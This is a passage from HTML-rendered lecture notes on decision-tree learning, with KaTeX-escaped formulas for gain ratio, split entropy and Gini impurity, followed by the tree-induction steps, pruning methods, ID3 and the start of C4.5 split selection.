style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;o&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mpunct&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;A&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;G&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;ain&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mpunct&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;A&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0813em;&#34;&gt;H&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3283em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;A&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, where &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;H&lt;/mi&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msubsup&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;/msubsup&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;/msub&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;msub&gt;&lt;mrow&gt;&lt;mi&gt;log&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;/mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;/msub&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;H_A(D)=-\sum_{v=1}^V\frac{|D_v|}{|D|}\log_2\frac{|D_v|}{|D|}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0813em;&#34;&gt;H&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3283em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;A&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.53em;vertical-align:-0.52em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop&#34;&gt;&lt;span class=&#34;mop op-symbol small-op&#34; style=&#34;position:relative;top:0em;&#34;&gt;∑&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.9812em;&#34;&gt;&lt;span style=&#34;top:-2.4003em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0359em;&#34;&gt;v&lt;/span&gt;&lt;span class=&#34;mrel mtight&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2029em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.2222em;&#34;&gt;V&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2997em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.01em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.485em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1645em;&#34;&gt;&lt;span style=&#34;top:-2.357em;margin-left:-0.0278em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0359em;&#34;&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.143em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.52em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop&#34;&gt;&lt;span class=&#34;mop&#34;&gt;lo&lt;span style=&#34;margin-right:0.0139em;&#34;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.207em;&#34;&gt;&lt;span style=&#34;top:-2.4559em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2441em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.01em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.485em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1645em;&#34;&gt;&lt;span style=&#34;top:-2.357em;margin-left:-0.0278em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0359em;&#34;&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.143em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.52em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Gini impurity is the probability that two independent draws from the class distribution differ. With class proportions &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;p_i&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.625em;vertical-align:-0.1944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;G&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msubsup&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;/msubsup&gt;&lt;msubsup&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msubsup&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;Gini(D)=1-\sum_{i=1}^k p_i^2&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;G&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;ini&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.7278em;vertical-align:-0.0833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.2887em;vertical-align:-0.2997em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop&#34;&gt;&lt;span class=&#34;mop op-symbol small-op&#34; style=&#34;position:relative;top:0em;&#34;&gt;∑&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.989em;&#34;&gt;&lt;span style=&#34;top:-2.4003em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mrel mtight&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2029em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0315em;&#34;&gt;k&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2997em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8141em;&#34;&gt;&lt;span style=&#34;top:-2.4413em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.063em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2587em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Partition the samples.&lt;/strong&gt; The selected test assigns the observations to child nodes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Repeat recursively.&lt;/strong&gt; At each child choose a new split until a stopping condition applies, for example a pure node, no remaining attributes, or a maximum depth.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assign leaves.&lt;/strong&gt; Limits on leaf size, depth or purity can leave several classes in a leaf. Assign the most frequent class. In these notes, a tie is broken by choosing at random among the tied classes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prune.&lt;/strong&gt; Removing overly complex branches can improve generalisation. Methods include reduced-error pruning (REP), pessimistic-error pruning (PEP), error-based pruning (EBP), cost-complexity pruning (CCP) and minimum-error pruning (MEP).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Predict.&lt;/strong&gt; Follow the tests from the root to a leaf and return its class, or its numerical prediction for a regression tree.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;h2 id=&#34;id3&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#id3&#34;&gt;#&lt;/a&gt; ID3&lt;/h2&gt;
&lt;/blockquote&gt;
&lt;p&gt;Compute the information gain for each candidate attribute and choose the largest. Create branches for its possible values. If no further split is possible, label the leaf with the most frequent class among its samples.&lt;/p&gt;
&lt;blockquote&gt;
&lt;h2 id=&#34;c45&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#c45&#34;&gt;#&lt;/a&gt; C4.5&lt;/h2&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Split selection.&lt;/strong&gt; A low split entropy can inflate gain ratio. The selection heuristic first keeps attributes with above-average information gain and then chooses the highest gain ratio among them.&lt;/li&gt;
